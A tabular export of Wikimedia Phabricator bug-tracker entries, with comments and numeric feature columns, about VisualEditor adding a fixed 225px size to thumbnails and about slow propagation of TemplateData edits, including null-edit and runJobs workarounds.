impossible to edit the floated item."
52379,VisualEditor: Do not add size for standard thumbnail images when inserting them,"Wikicode for inserting animage in a standard ways into Wikipedia: 

[[File:Name.jpg|thumb|Text]] without any size.

VE adds a fixed size of 225x225px (why these numbers?) to the wikicode which is wrong for most Wikipedias.

The size of a standard thumbnail depends on $wgThumbLimits and $wmgThumbsizeIndex or the size set in the user preference.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://fr.wikipedia.org/w/index.php?title=Yael_Bartana&diff=94503286&oldid=90892725
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47804",Medium,50.0,1372429740,1393446774.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_description,resolved,True,c1,2,False,False,False,-1,,0.5,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,10.0,0.5,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,0.5,1.0,3.7452830188679247,0.6320754716981132,"Wikicode for inserting animage in a standard ways into Wikipedia: 

[[File:Name.jpg|thumb|Text]] without any size.

VE adds a fixed size of 225x225px (why these numbers?) to the wikicode which is wrong for most Wikipedias.

The size of a standard thumbnail depends on $wgThumbLimits and $wmgThumbsizeIndex or the size set in the user preference.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
235724,VisualEditor: Do not add size for standard thumbnail images when inserting them,Done in gerrit 114420.,,,1393446774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Done in gerrit 114420.
235719,VisualEditor: Do not add size for standard thumbnail images when inserting them,"I support this bug. Please dont add a size to the image by default. And show the size as tooltip, if user resizes it.",,,1376561973,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2413793103448274,0.8620689655172413,"I support this bug. Please dont add a size to the image by default. And show the size as tooltip, if user resizes it."
235713,VisualEditor: Do not add size for standard thumbnail images when inserting them,This bug doesn't depend on bug 38129 (and neither does it block it).,,,1373230571,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.8235294117647058,This bug doesn't depend on bug 38129 (and neither does it block it).
235709,VisualEditor: Do not add size for standard thumbnail images when inserting them,"(In reply to comment #2)
> Further the manual of style policy on image size
> http://en.wikipedia.org/wiki/Wikipedia:IMGSIZE#Displayed_image_size
> states that most images on the right hand side of the page should be scaled
> to
> 220 pixels wide. There need to be a way of specifying a precise numerical
> size.

No. This is a setting specified in the configuration file. No need to enter a precise numerical value. Per above policy: ""In general, do not define the size of an image"".",,,1373228305,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,20.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,13.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3,0.6833333333333333,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No. This is a setting specified in the configuration file. No need to enter a precise numerical value. Per above policy: ""In general, do not define the size of an image""."
235703,VisualEditor: Do not add size for standard thumbnail images when inserting them,"(In reply to comment #2)
> Further the manual of style policy on image size
> http://en.wikipedia.org/wiki/Wikipedia:IMGSIZE#Displayed_image_size
> states that most images on the right hand side of the page should be scaled
> to 220 pixels wide. There need to be a way of specifying a precise
> numerical size.

That will be done as part of bug 38129.",,,1373228269,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8620689655172415,0.7241379310344828,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That will be done as part of bug 38129."
235697,VisualEditor: Do not add size for standard thumbnail images when inserting them,"Further the manual of style policy on image size http://en.wikipedia.org/wiki/Wikipedia:IMGSIZE#Displayed_image_size
states that most images on the right hand side of the page should be scaled to 220 pixels wide. There need to be a way of specifying a precise numerical size.",,,1373227900,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,30.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,3.909090909090909,0.7727272727272727,"Further the manual of style policy on image size URL
states that most images on the right hand side of the page should be scaled to 220 pixels wide. There need to be a way of specifying a precise numerical size."
235691,VisualEditor: Do not add size for standard thumbnail images when inserting them,*** Bug 50766 has been marked as a duplicate of this bug. ***,,,1372966971,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a6pw6i4cfeu2jzsduppd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50766 has been marked as a duplicate of this bug. ***
52372,Updated TemplateData from transcluded items take a long time to show up,"TemplateData from transcluded items (i.e. doc pages) takes a long time to show up in the API. 

A temporary solution to this is to do a [[ https://www.mediawiki.org/wiki/Manual:Purge#Null_edits | null edit  ]] (opening the page, and saving, without making any changes) which will cause the template data to propagate immediately. 
",Medium,50.0,1372421640,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ssksx6n4c7yondhu6cpg,task_description,stalled,True,c1,2,False,False,,-1,,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,6.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,3.0,3.6507936507936507,0.8095238095238095,"TemplateData from transcluded items (i.e. doc pages) takes a long time to show up in the API. 

A temporary solution to this is to do a [[ URL | null edit  ]] (opening the page, and saving, without making any changes) which will cause the template data to propagate immediately. 
"
2283032,Updated TemplateData from transcluded items take a long time to show up,"How about...
Either
A) add a shortcut somewhere in MW software to do a null template edit whenever its /doc page is saved (not everything has to be perfect)
or
B) add a note next to ""This template is missing TemplateData, and its parameters have been autogenerated"" so people know what's happening.

TemplateData is already too cryptic, though helpful, and it's frustrating when things are not showing up in VE for days (10 days in my latest case), for no obvious reason. ",,,1708553338,,PHID-USER-bommaimh4fl3xvg3ays6,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,555,,0.0,0.5,0.0,1.5,1.5,6.0,0.5,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,7.5,8.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.5,2.5,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,1.5,4.5,5.5,3.0,3.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,3.5,8.5,4.5,0.0,1.5,0.0,3.5,0.0,3.0,1.5,0.0,2.5,0.0,1.0,0.0,3.798076923076923,0.8076923076923077,"How about...
Either
A) add a shortcut somewhere in MW software to do a null template edit whenever its /doc page is saved (not everything has to be perfect)
or
B) add a note next to ""This template is missing TemplateData, and its parameters have been autogenerated"" so people know what's happening.

TemplateData is already too cryptic, though helpful, and it's frustrating when things are not showing up in VE for days (10 days in my latest case), for no obvious reason. "
1583940,Updated TemplateData from transcluded items take a long time to show up,A 7 year old task isn't UBN,,,1600590692,,PHID-USER-2wquu5nwbdqcuzo5qiuf,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,376,,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.625,1.0,A 7 year old task isn't UBN
1583939,Updated TemplateData from transcluded items take a long time to show up,"> Quoted Text

",,,1600590184,,PHID-USER-mjtmg5ramyrkn7pbwxmq,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,376,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"QUOTE

"
1549544,Updated TemplateData from transcluded items take a long time to show up,"This continues to be a serious problem. 

Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted, but because it will still pulling through templatedata that was a month outdated (i.e. missing.) It wasn't fixed until I did a null edit. 

Details here: T258335",,,1595500486,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,368,,2.0,1.0,0.0,2.0,1.0,8.0,2.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,13.0,1.0,1.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,8.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,13.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,6.0,0.0,2.0,0.0,0.0,1.0,4.1,0.8,"This continues to be a serious problem. 

Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted, but because it will still pulling through templatedata that was a month outdated (i.e. missing.) It wasn't fixed until I did a null edit. 

Details here: T258335"
1549542,Updated TemplateData from transcluded items take a long time to show up,"This continues to be a serious problem. 

Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted, but because it will still pulling through templatedata that was a month outdated (i.e. missing.)

Details here: T258335",,,1595500463,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,368,,3.0,1.0,0.0,1.0,0.0,8.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,1.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,6.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,14.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,3.0,0.0,0.0,1.0,4.265822784810126,0.810126582278481,"This continues to be a serious problem. 

Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted, but because it will still pulling through templatedata that was a month outdated (i.e. missing.)

Details here: T258335"
1549541,Updated TemplateData from transcluded items take a long time to show up,"This continues to be a serious problem. 

Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted. 

Details here: T258335",,,1595500429,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,368,,3.0,2.0,0.0,2.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,2.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,3.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,15.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,4.180327868852459,0.819672131147541,"This continues to be a serious problem. 

Someone deleted some template data on cy wiki from a template on June 24, and it actually broke automatic citaitons on visual editor for *a month* for all citations using the cite web template; even though the edits had since been reverted. 

Details here: T258335"
1261760,Updated TemplateData from transcluded items take a long time to show up,"Content translation relies in templateData to transfer templates across languages. In particular, templateData is used to check the names and aliases of the parameters of the corresponding templates across languages. The current issue makes the process of fixing this even more complex for editors as the case of T219346 illustrates.",,,1554885642,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,301,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,7.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,5.2592592592592595,0.7407407407407407,"Content translation relies in templateData to transfer templates across languages. In particular, templateData is used to check the names and aliases of the parameters of the corresponding templates across languages. The current issue makes the process of fixing this even more complex for editors as the case of T219346 illustrates."
1185579,Updated TemplateData from transcluded items take a long time to show up,"This issue seems to be the reason why templates of the citation tool are not displayed in VisualEditor. Even a null commit does not resolve the problem, at least for me. Can we expect any bug resolution soon or is it too early/the task is too much difficult to handle it for now? I (and probably other users) really need to use templates.

Thanks.

EDIT: Making a null edit is still useful. However, if someone does not see a template after that, manually running all the job tasks will help, in case they appear to be frozen (or if it takes a really long time to execute all the tasks by the wiki). To do so, execute: ""php <path_to_wiki>/maintenance/runJobs.php"".",,,1543413652,,PHID-USER-gowqth4c6x65hhbw4z4u,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,282,,2.5,0.5,0.0,1.0,1.5,4.0,1.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,1.5,0.0,10.0,9.5,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,5.5,1.5,1.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,1.5,0.0,0.0,0.5,0.0,0.5,6.5,3.5,5.5,2.0,1.5,9.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.0,9.5,0.5,0.5,1.5,0.0,4.0,0.0,0.5,2.5,0.5,1.5,0.0,0.5,1.5,3.7271380970011103,0.7957238059977786,"This issue seems to be the reason why templates of the citation tool are not displayed in VisualEditor. Even a null commit does not resolve the problem, at least for me. Can we expect any bug resolution soon or is it too early/the task is too much difficult to handle it for now? I (and probably other users) really need to use templates.

Thanks.

EDIT: Making a null edit is still useful. However, if someone does not see a template after that, manually running all the job tasks will help, in case they appear to be frozen (or if it takes a really long time to execute all the tasks by the wiki). To do so, execute: ""php <path_to_wiki>/maintenance/runJobs.php""."
1182940,Updated TemplateData from transcluded items take a long time to show up,"This issue seems to be the reason why templates of the citation tool are not displayed in VisualEditor. Even a null commit does not resolve the problem, at least for me. Can we expect any bug resolution soon or is it too early/the task is too much difficult to handle it for now? I (and probably other users) really need to use templates.

Thanks.",,,1542979491,,PHID-USER-gowqth4c6x65hhbw4z4u,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,281,,3.0,0.0,0.0,1.0,3.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,7.0,5.0,8.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,1.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,3.8,0.8133333333333334,"This issue seems to be the reason why templates of the citation tool are not displayed in VisualEditor. Even a null commit does not resolve the problem, at least for me. Can we expect any bug resolution soon or is it too early/the task is too much difficult to handle it for now? I (and probably other users) really need to use templates.

Thanks."
1177245,Updated TemplateData from transcluded items take a long time to show up,"This is an ongoing issue. I was contacted today from a third party wiki wondering why their VE citation tool wasn't working, and the template data wasn't coming through. It was this problem. ",,,1542198870,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,280,,0.0,0.0,0.0,3.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,10.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,8.0,0.0,0.0,0.0,4.051282051282051,0.8461538461538461,"This is an ongoing issue. I was contacted today from a third party wiki wondering why their VE citation tool wasn't working, and the template data wasn't coming through. It was this problem. "
438402,Updated TemplateData from transcluded items take a long time to show up,">>! In T52372#544516, @SalixAlba wrote:
> What would be nice is if action=purge would force templatedata updates, like null edits do. This is necessary as many templates are protected so only admins can do null edits. Any editor can do an action=purge (I believe).

Hear, hear!  And yes, I certainly //seem// to be able to purge pages I can't edit.",,,1428122408,,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,23.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.8461538461538461,"QUOTE
QUOTE

Hear, hear!  And yes, I certainly //seem// to be able to purge pages I can't edit."
235283,Updated TemplateData from transcluded items take a long time to show up,*** Bug 69647 has been marked as a duplicate of this bug. ***,,,1408689531,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69647 has been marked as a duplicate of this bug. ***
235273,Updated TemplateData from transcluded items take a long time to show up,"(In reply to comment #23)
> Thanks to Tim's fix this isn't
> critical any more (users can 'just' null-edit touch the relevant template to
> cause TemplateData content to come through)

Note: This workaround only works for templates that aren't widely used.

